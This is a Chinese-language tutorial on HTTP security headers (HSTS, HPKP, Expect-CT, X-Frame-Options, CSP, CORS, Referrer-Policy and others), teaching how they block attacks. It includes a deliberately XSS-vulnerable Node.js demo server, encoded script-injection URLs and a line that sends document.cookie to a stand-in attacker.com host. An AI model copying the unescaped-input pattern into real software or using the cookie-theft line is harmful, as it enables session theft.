摘要： 安全是個大學問。
目前，浏覽器已經實作了大量與安全相關的頭檔案，使攻擊者更難利用漏洞。接下來的講解它們的使用方式、它們防止的攻擊類型以及每個頭後面的一些曆史。
HTTP Strict Transport Security (HSTS)
HSTS（HTTP Strict Transport Security）國際網際網路工程組織IETF正在推行一種新的Web安全協定，HSTS 的作用是強制用戶端（如浏覽器）使用 HTTPS 與伺服器建立連接配接。
自 2012 年底以來，HTTPS 無處不在的支援者發現，由于 HTTP 嚴格傳輸安全性，強制用戶端總是使用 HTTP 協定的安全版本更容易：一個非常簡單的設定
Strict-Transport-Security: max-age=3600
将告訴浏覽器 對于下一個小時（3600秒），它不應該與具有不安全協定的應用程式進行互動。
當使用者嘗試通過 HTTP 通路由 HSTS 保護的應用程式時，浏覽器将拒絕繼續通路，自動将
http://
的 URL 轉換為
https://
。
你可以使用
github.com/odino/wasec/tree/master/hsts
中的代碼在本地測試這個。你需要遵循 README 中的說明(它們通過
mkcert工具在你的電腦上的
localhost
安裝可信的 SSL 證書)，然後嘗試打開
https://localhost:7889
在這個示例中有兩個伺服器，一個 HTTPS 伺服器監聽
7889
，另一個 HTTP 伺服器監聽端口
7888
。當你通路 HTTPS 伺服器時，它總是試圖重定向到 HTTP 版本，這将正常工作，因為 HTTPS 伺服器上沒有 HSTS 政策。如果在 URL 中添加
hsts=on
參數，浏覽器将強制将重定向中的連結轉換為
https://
版本。由于
7888
上的伺服器隻支援 http，是以最終将看到類似于這樣的頁面。
你可能想知道使用者第一次通路你的網站時會發生什麼，因為事先沒有定義 HSTS 政策：攻擊者可能會欺騙使用者通路你網站的
http://
版本并在那裡進行攻擊，是以仍然存在問題，因為 HSTS 是對首次使用機制的信任，它試圖做的是確定，一旦你通路過網站，浏覽器就知道後續互動必須使用 HTTPS。
解決這個缺點的一個方法是維護一個海量的資料庫，其中包含了執行 HSTS 的網站，這是Chrome 通過
hstspreload.org實作的。你必須首先設定安全的方案，然後通路網站并檢查它是否符合添加到資料庫的條件。例如，我們可以在這看到 Facebook 榜上有名。
将你的的網站送出到這個清單中，就可以提前告訴浏覽器你的網站使用 HSTS，這樣即使用戶端和伺服器之間的第一次互動也将通過一個安全通道進行。但是這是有代價的，因為你确實需要投入到 HSTS 中。如果你希望你的網站從清單中删除，這對浏覽器廠商來說不是件容易的事:
請注意，預加載清單中的内容無法輕松撤消。
域名可以被移除，但是 Chrome 的更新需要幾個月的時間才能讓使用者看到變化，我們不能保證其他浏覽器也一樣。不要請求包含，除非您确定能夠長期支援整個站點及其所有子域的HTTPS。
這是因為供應商不能保證所有使用者都使用最新版本的浏覽器，而你的站點已從清單中删除。仔細考慮，并根據你對 HSTS 的信心程度和長期支援 HSTS 的能力做出決定。
HTTP Public Key Pinning (HPKP)
HTTP 公鑰固定是一種安全機制，它的工作原理是通過響應頭或者
<meta>
标簽告訴浏覽器目前網站的證書指紋，以及過期時間等其它資訊。未來一段時間内，浏覽器再次通路這個網站必須驗證證書鍊中的證書指紋，如果跟之前指定的值不比對，即便證書本身是合法的，也必須斷開連接配接。
目前 Firefox 35+ 和 Chrome 38+ 已經支援， HPKP 基本格式如下：
Public-Key-Pins:
pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";
pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";
max-age=3600; includeSubDomains;
report-uri="https://pkpviolations.example.org/collect" 各字段含義如下：
- pin-sha256 即證書指紋，允許出現多次（實際上最少應該指定兩個）；
- max-age 和 includeSubdomains 分别是過期時間和是否包含子域，它們在 HSTS（HTTP Strict Transport Security）中也有，格式和含義一緻；
- report-uri用來指定驗證失敗時的上報位址，格式和含義跟 CSP（Content Security Policy）中的同名字段一緻；
- includeSubdomains 和 report-uri 兩個參數均為可選；
報頭使用證書的散列列出伺服器将使用哪些證書(在本例中是其中的兩個證書)，并包含附加資訊，比如這個指令的生存時間(
max-age=3600
)和其他一些細節。遺憾的是，我們沒有必要深入了解我們可以用公鑰釘固定做什麼，因為這個功能已經被 Chrome 棄用了——這是一個信号，這一信号表明它的采用很快就會直線下降。
Chrome 的決定并不是不理性的，而僅僅是與公鑰固定相關的風險的結果。如果wq丢失了證書，或者隻是在測試時犯了一個錯誤，你的網站将無法通路之前通路過該網站的使用者(在max-age指令期間，通常是幾周或幾個月)。
由于這些潛在的災難性後果，HPKP 的使用率一直非常低，并且出現了由于錯誤配置導緻大型網站無法通路的事件。綜上所述，Chrome 認為沒有 HPKP提 供的保護，使用者會過得更好——安全研究人員并不完全反對這一決定。
Expect-CT
雖然 HPKP 已經被棄用，但是一個新的頭介入進來，防止欺騙 SSL 證書被提供給用戶端
:Expect-CT
Expect-CT
頭允許站點選擇性報告和/或執行證書透明度 (Certificate Transparency) 要求，來防止錯誤簽發的網站證書的使用不被察覺。當站點啟用
Expect-CT
頭，就是在請求浏覽器檢查該網站的任何證書是否出現在公共證書透明度日志之中。
CT 基本格式如下：
Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report" max-age：
該指令指定接收到
Expect-CT
頭後的秒數，在此期間使用者代理應将收到消息的主機視為已知的 Expect-CT 主機。
如果緩存接收到的值大于它可以表示的值，或者如果其随後計算溢出，則緩存将認為該值為2147483648（2的31次幂）或其可以友善表示的最大正整數。
report-uri="" 可選
該指令指定使用者代理應向其報告 Expect-CT 失效的 URI。
當 enforce 指令和 report-uri 指令共同存在時，這種配置被稱為“強制執行和報告”配置，示意使用者代理既應該強制遵守證書透明度政策，也應當報告違規行為。
enforce 可選
該指令示意使用者代理應強制遵守證書透明度政策（而不是隻報告合規性），并且使用者代理應拒絕違反證書透明度政策的之後連接配接。
當
enforce
指令和
report-uri
指令共同存在時，這種配置被稱為“強制執行和報告”配置，示意使用者代理既應該強制遵守證書透明度政策，也應當報告違規行為。
CT 計劃的目标是比以前使用的任何其他方法更早、更快、更精确地檢測錯誤頒發的或惡意的證書(以及流氓證書頒發機構)。
通過選擇使用
Expect-CT
頭，你可以利用這一優勢來改進應用程式的安全狀态。
X-Frame-Options
想象一下，在你的螢幕前彈出這樣一個網頁:
隻要你點選這個連結，你就會發現你銀行賬戶裡的錢都不見了，發生了什麼事?
你是點選劫持攻擊的受害者。
攻擊者将你引導至他們的網站，該網站顯示了一個非常有吸引力的點選連結。 不幸的是，他還在頁面中嵌入了帶了連結位址
your-bank.com/transfer?amount=-1&[[email protected]
的 iframe，且通過設定透明度為 0％來隐藏它。
然後發生的事情是想到點選原始頁面，試圖赢得一個全新的悍馬，這時浏覽器上iframe上捕獲了一個點選，這是一個确認轉移資金的危險點選。
大多數銀行系統要求你指定一次性
PIN
碼來确認交易，但你的銀行沒有趕上時間且你的所有資金都已被轉走了。
這個例子非常極端，但應該讓你了解
點選劫持攻擊可能帶來的後果。 使用者打算單擊特定連結，而浏覽器将觸發嵌入
iframe
中“不可見”頁面上的點選。
幸運的是，浏覽器為這個問題提供了一個簡單的解決方案:
X-Frame-Options
(XFO)，它允許您人定是否可以将應用程式作為 iframe 嵌入外部網站。由于 Internet Explorer 8 的普及，XFO 于2009 年首次引入，現在仍然受到所有主流浏覽器的支援。
它的工作原理是，當浏覽器看到
iframe
時，加載它并在渲染它之前驗證它的 XFO 是否允許它包含在目前頁面中。
X-Frame-Options 有三個值:
- DENY：表示該頁面不允許在 frame 中展示，即便是在相同域名的頁面中嵌套也不允許。
- SAMEORIGIN：表示該頁面可以在相同域名頁面的 frame 中展示。
- ALLOW-FROM uri ：表示該頁面可以在指定來源的 frame 中展示。
換一句話說，如果設定為
DENY
，不光在别人的網站 frame 嵌入時會無法加載，在同域名頁面中同樣會無法加載。另一方面，如果設定為
SAMEORIGIN
，那麼頁面就可以在同域名頁面的 frame 中嵌套。
包含最嚴格的 XFO 政策的 HTTP 響應示例如下:
HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: DENY
... 為了展示啟用 XFO 時浏覽器的行為，我們隻需将示例的 URL 更改為
http://localhost:7888/?xfo=on
xfo=on
參數告訴伺服器在響應中包含
X-Frame-Options: deny
，我們可以看到浏覽器如何限制對 iframe 的通路:
XFO被認為是防止基于架構的點選劫持攻擊的最佳方法，直到數年後出現了另一種報頭，即内容安全政策(Content Security Policy，簡稱CSP)。
Content Security Policy (CSP)
内容安全政策(CSP) 是一個額外的安全層，用于檢測并削弱某些特定類型的攻擊，包括跨站腳本 (XSS) 和資料注入攻擊等。無論是資料盜取、網站内容污染還是散發惡意軟體，這些攻擊都是主要的手段。
為使CSP可用, 你需要配置你的網絡伺服器傳回
Content-Security-Policy
HTTP頭部 ( 有時你會看到一些關于
X-Content-Security-Policy
頭部的提法, 那是舊版本，你無須再如此指定它)。
要了解 CSP 如何幫助我們，我們首先應該考慮攻擊媒介。 假設我們剛剛建構了自己的 Google 搜尋，這是一個帶有送出按鈕的簡單輸入文本。
這個 web 應用程式沒有什麼神奇的功能。隻是,
- 顯示一個表單
- 讓使用者執行搜尋
- 顯示搜尋結果和使用者搜尋的關鍵字
當我們執行簡單搜尋時，這就是應用程式傳回的内容：
我們的應用程式非常了解我們的搜尋，并找到了一個相關的圖像。如果我們深入研究源代碼，可以在
github.com/odino/wasec/tree/master/xss.com上找到，我們很快就會發現應用程式存在安全問題，因為使用者搜尋的任何關鍵字都直接列印在提供給用戶端的 HTML 響應中:
var qs = require('querystring')
var url = require('url')
var fs = require('fs')
require('http').createServer((req, res) => {
let query = qs.parse(url.parse(req.url).query)
let keyword = query.search || ''
let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...`
res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results))
}).listen(7888)
<html>
<body>
<h1>Search The Web</h1>
<form>
<input type="text" name="search" value="__KEYWORD__" />
<input type="submit" />
</form>
<div id="results">
__RESULTS__
</div>
</body>
</html> 這帶來了一個糟糕的後果。攻擊者可以建立一個特定的連結，在受害者浏覽器中執行任意JavaScript。
如果你有時間和耐心在本地運作示例，你将能夠快速了解 CSP 的強大功能。 我添加了一個啟用CSP的查詢字元串參數，是以我們可以嘗試在啟用 CSP 的情況下導航到惡意 URL：
http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on 正如你在上面的例子中所看到的，我們已經告訴浏覽器，我們的 CSP 政策隻允許腳本包含在目前 URL 的同一來源，我們可以通過展開 URL 和檢視響應頭來驗證:
$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"
HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Security-Policy: default-src 'self'
Date: Sat, 11 Aug 2018 10:46:27 GMT
Connection: keep-alive 由于 XSS 攻擊是通過内聯腳本(直接嵌入到HTML内容中的腳本)進行的，是以浏覽器友好地拒絕執行它，以保證使用者的安全。想象一下，如果攻擊者不是簡單地顯示一個警告對話框，而是通過一些JavaScript代碼将重定向到自己的域，代碼可能如下:
window.location = `attacker.com/${document.cookie}` 他們本來可以竊取所有使用者的 cookie，其中可能包含高度敏感的資料（下一篇文章中有更多内容）。
CSP的一個有趣的變化是
report-only
模式。可以不使用
Content-Security-Policy
頭檔案，而是首先使用
Content-Security-Policy-Report-Only
頭檔案測試 CSP 對你的網站的影響，方法是告訴浏覽器簡單地報告錯誤，而不阻塞腳本執行，等等。
通過報告，你可以了解要推出的 CSP 政策可能導緻的重大更改，并相應地進行修複。 我們甚至可以指定報告網址，浏覽器會向我們發送報告。 以下是 report-only 政策的完整示例：
Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector CSP 政策本身可能有點複雜，如下例所示:
Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com 本政策定義了以下規則:
- 可執行腳本（例如JavaScript）隻能從
scripts.example.com
- 圖像可以從任何源(
img-src: *
- 視訊或音頻内容可以從兩個來源加載:
medias.example.com
medias.legacy.example.com
正如你所看到的，政策可能會變得很長，如果我們想確定為使用者提供最高的保護，這可能會成為一個相當乏味的過程。不過，編寫全面的 CSP 政策是向 web 應用程式添加額外安全層的重要一步。
代碼部署後可能存在的BUG沒法實時知道，事後為了解決這些BUG，花了大量的時間進行log 調試，這邊順便給大家推薦一個好用的BUG監控工具
FundebugX-XSS-Protection
HTTP X-XSS-Protection 響應頭是Internet Explorer，Chrome和Safari的一個功能，當檢測到跨站腳本攻擊 (XSS)時，浏覽器将停止加載頁面。雖然這些保護在現代浏覽器中基本上是不必要的，當網站實施一個強大的
Content-Security-Policy
來禁用内聯的 JavaScript ('
unsafe-inline
')時, 他們仍然可以為尚不支援 CSP 的舊版浏覽器的使用者提供保護。
它的文法和我們剛才看到的非常相似:
X-XSS-Protection: 1; report=http://xssviolations.example.com/collector XSS 是最常見的攻擊類型，其中未經過驗證的伺服器列印出未經過處理的輸入，而且這個标題真正發揮作用。 如果你想親眼看到這個，我建議你試試
github.com/odino/wasec/tree/master/xss上的例子。
将
xss=on
附加到 URL 上，它顯示了當 XSS 保護時浏覽器做了什麼 打開了。 如果我們在搜尋框中輸入惡意字元串，例如
<script> alert（'hello'）</ script>
，浏覽器将拒絕執行腳本，并解釋其決定背後的原因：
The XSS Auditor refused to execute a script in
'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on'
because its source code was found within the request.
The server sent an 'X-XSS-Protection' header requesting this behavior. 更有趣的是，當網頁沒有指定任何 CSP 或 XSS 政策時，Chrome 的預設行為，我們可以通過将
XSS =off
參數添加到URL (
http://localhost:7888/?search=%3Cscript%3Ealert%28% %27hello%27% %29%3C%2Fscript%3E&xss=off
) 來測試這個場景:
令人驚訝的是，Chrome 非常謹慎，它将阻止頁面渲染，使得 XSS 的攻擊非常難以實作。
Feature policy
2018 年 7 月，安全研究員 Scott Helme 發表了一篇非常有趣的部落格文章，詳細介紹了正在開發的一個新的安全标頭:
Feature-Policy
目前隻有很少的浏覽器(在撰寫本文時是Chrome和Safari)支援這個标頭，它允許我們定義目前頁面中是否啟用了特定的浏覽器功能。使用與 CSP 非常相似的文法，比如下面這個:
Feature-Policy: vibrate 'self'; push *; camera 'none' 如果我們對此政策如何影響頁面可用的浏覽器 API 仍有疑問，我們可以簡單地剖析它：
-
vibrate 'self'
-
push *
-
camera 'none'
feature policy
的曆史可能很短，但是搶先一步也無妨。例如，如果你的網站允許使用者自拍或錄制音頻，那麼使用限制其他上下文通過你的頁面通路 API 的政策将非常有益。
X-Content-Type-Options
有時候，從安全的角度來看，聰明的浏覽器功能最終會傷害我們。 一個明顯的例子是 MIME嗅探(MIME-sniffing)，這是一種由 Internet Explorer 推廣的技術。
MIME 嗅探是浏覽器自動檢測（和修複）正在下載下傳的資源的内容類型的能力。 例如，我們要求浏覽器渲染圖檔
/awesome-picture.png
，但伺服器在向浏覽器提供圖像時設定了錯誤的類型（例如，Content-Type：text/plain），這通常會導緻浏覽器無法正确顯示圖像。
為了解決這個問題，IE 竭盡全力實作 MIME 嗅探功能：當下載下傳資源時，浏覽器會“掃描”它，如果它會檢測到資源的内容類型不是由在
Content-Type
标頭中的伺服器，它将忽略伺服器發送的類型并根據浏覽器檢測到的類型解釋資源。
現在，想象一下，托管一個網站，允許使用者上傳自己的圖像，并想象使用者上傳包含 JavaScript 代碼的
/test.jpg
檔案。 看看這是怎麼回事？ 上傳檔案後，該網站會将其包含在自己的 HTML 中，當浏覽器嘗試渲染文檔時，它會找到使用者剛剛上傳的“圖像”。 當浏覽器下載下傳圖像時，它會檢測到它是一個腳本，并在受害者的浏覽器上執行它。
為了避免這個問題，我們可以設定
X-Content-Type-Options:nosniheader
，它完全禁用 MIME 嗅探：通過這樣做，我們告訴浏覽器，我們完全知道某些檔案可能在類型和内容方面不比對，浏覽器不應該擔心這個問題。我們知道我們在做什麼，是以浏覽器不應該試圖猜測，可能對我們的使用者構成安全威脅。
Cross-Origin Resource Sharing (CORS)
在浏覽器上，通過 JavaScript，HTTP 請求隻能在同一個源上觸發。 簡而言之，
example.com
的AJAX 請求隻能連接配接到
example.com
這是因為你的浏覽器包含攻擊者的有用資訊 -
Cookie
，通常用于跟蹤使用者的會話。 想象一下，如果攻擊者在
win-a-hummer.com
上設定惡意頁面，會立即向
your-bank.com
發出 AJAX 請求。
如果你在銀行的網站上登入，則攻擊者可以使用你的憑據執行 HTTP 請求，可能會竊取資訊，或者更糟糕的是，将你的銀行帳戶清除掉。
不過，在某些情況下可能需要執行跨域 AJAX 請求，這就是浏覽器實作跨跨資源共享(Cross Origin Resource Sharing, CORS)的原因，這是一組允許執行跨域請求的指令。
CORS 背後的機制非常複雜，我們不可能通讀整個規範，是以我将重點介紹 CORS 的“簡化”版本。
現在，你隻需要知道，通過使用
Access-Control-Allow-Origin
頭，應用程式告訴浏覽器可以接收來自其他域的請求。
這個寬松的形式設定
Access-Control-Allow-Origin: *
，它允許任何域通路我們的應用程式，但是我們可以通過使用
Access-Control-Allow-Origin: https://example.com
添加我們想要列入白名單的 URL 來限制它。
如果我們看看
github.com/odino/wasec/tree/master/cors上的示例，我們可以清楚地看到浏覽器如何阻止通路單獨來源的資源。 我已經設定了一個示例，用于從
test-cors
到
test-cors-2
發出 AJAX 請求，并将操作結果列印到浏覽器。 當
test-cors-2
後面的伺服器被訓示使用 CORS 時，頁面按預期工作。 嘗試導航到
http://cors-test:7888/?cors=on
但是當我們從 UR L中删除
cors
參數時，浏覽器會介入并阻止我們通路響應的内容:
我們需要了解的一個重要方面是浏覽器執行了請求，但阻止了用戶端通路它。 這非常重要，因為如果我們的請求會對伺服器産生任何副作用，它仍然會使我們容易受到攻擊。 想象一下，例如，如果我們的銀行允許通過簡單地調用
my-bank.com/transfer?amount=1000&from=me&to=attacker
來轉移資金，那将是一場災難！
正如我們在本系列第一篇講到，
GET
請求應該是幂等的，但如果我們嘗試用
POST
請求會發生什麼？ 幸運的是，在示例中包含了這個場景，通過導航到
http://cors-test:7888/?method=POST:
來嘗試：
浏覽器發出“預檢”請求，而不是直接執行我們的
POST
請求，這可能會導緻伺服器出現嚴重問題。 這隻是對伺服器的
OPTIONS
請求，要求它驗證我們的來源是否被允許。 在這種情況下，伺服器沒有正面響應，是以浏覽器停止程序，我們的 POST 請求永遠不會到達目标。
這告訴我們一些事情:
- CORS 不是一個簡單的規範，很多場景需要牢記，你可以很容易地混淆預檢請求等功能的細微差别。
- 永遠不要暴露通過
GET
根據經驗，我發現自己更願意設定代理，以便将請求轉發到正确的伺服器，而不是使用
CORS
。這意味着運作在
example.com
上的應用程式可以在
example.com/_proxy/other.com
設定一個代理，這樣所有位于
_proxy/other.com/*
下的請求都可以代理到
other.com
X-Permitted-Cross-Domain-Policies
與 CORS 非常相似的是，
X-Permitted-Cross-Domain-Policie
s 針對 Adobe 産品（即Flash和Acrobat）的跨域政策。
我不會詳細介紹，因為這是一個針對非常特定用例的标頭。長話短說，Adobe 産品通過請求目标域根目錄中的
cross-domain.xml
檔案處理跨域請求，并且
X-Permitted-Cross-Domain-Policies
定義了通路該檔案的政策。
聽起來複雜嗎?我隻建議添加一個
X-Permitted-Cross-Domain-Policies: none
并忽略希望使用 Flash 跨域請求的用戶端。
Referrer-Policy
在我們職業生涯的開始，我們可能都犯了同樣的錯誤。使用
Referer
頭在我們的網站上實作安全限制。如果頭部在我們定義的白名單中包含一個特定的 URL，我們将允許使用者通路。
Referrer-Policy
頭檔案誕生于 2017 年初，目前受到所有主流浏覽器的支援，它可以告訴浏覽器，它應該隻屏蔽
Referer
頭檔案中的URL，或者完全省 略URL，進而緩解這些隐私問題。
Referrer-Policy
一些最常見的值是：
- no-referrer：整個 Referer 首部會被移除。通路來源資訊不随着請求一起發送。
- origin：在任何情況下，僅發送檔案的源作為引用位址。例如 https://example.com/page.html> 會将 作為引用位址。
- same-origin：對于同源的請求會發送引用位址，但是對于非同源請求則不發送引用位址資訊。
值得注意的是，
Referrer-Policy
有很多變體(
trict-origin
、
no-referrer-when-downgrade
等等)，但是我上面提到的這些變體可能會涵蓋你的大多數用例。如果你希望更好地了解你可以使用的每一個變體，可以通路
OWASP dedicated page了解。
Origin
标頭與
Referer
非常相似，因為它是由浏覽器在跨域請求中發送的，以確定允許調用者通路不同域上的資源。 Origin 标頭由浏覽器控制，是以惡意使用者無法篡改它。 你可能會将其用作Web應用程式的防火牆：如果
Origin
位于我們的白名單中，請讓請求通過。
但有一點需要考慮的是，其他 HTTP 用戶端（如c URL）可以呈現自己的來源：簡單的
curl -H "Origin: example.com" api.example.com
将使所有基于源的防火牆規則效率低下...... ...... 這就是為什麼你不能依靠
Origin
（或者我們剛才看到的
Referer
）來建構防火牆來阻止惡意用戶端。
有狀态 HTTP：使用 cookie 管理會話
本文應該向我們介紹一些有趣的 HTTP 标頭，讓我們了解它們如何通過特定于協定的功能強化我們的Web 應用程式，以及主流浏覽器的一些幫助。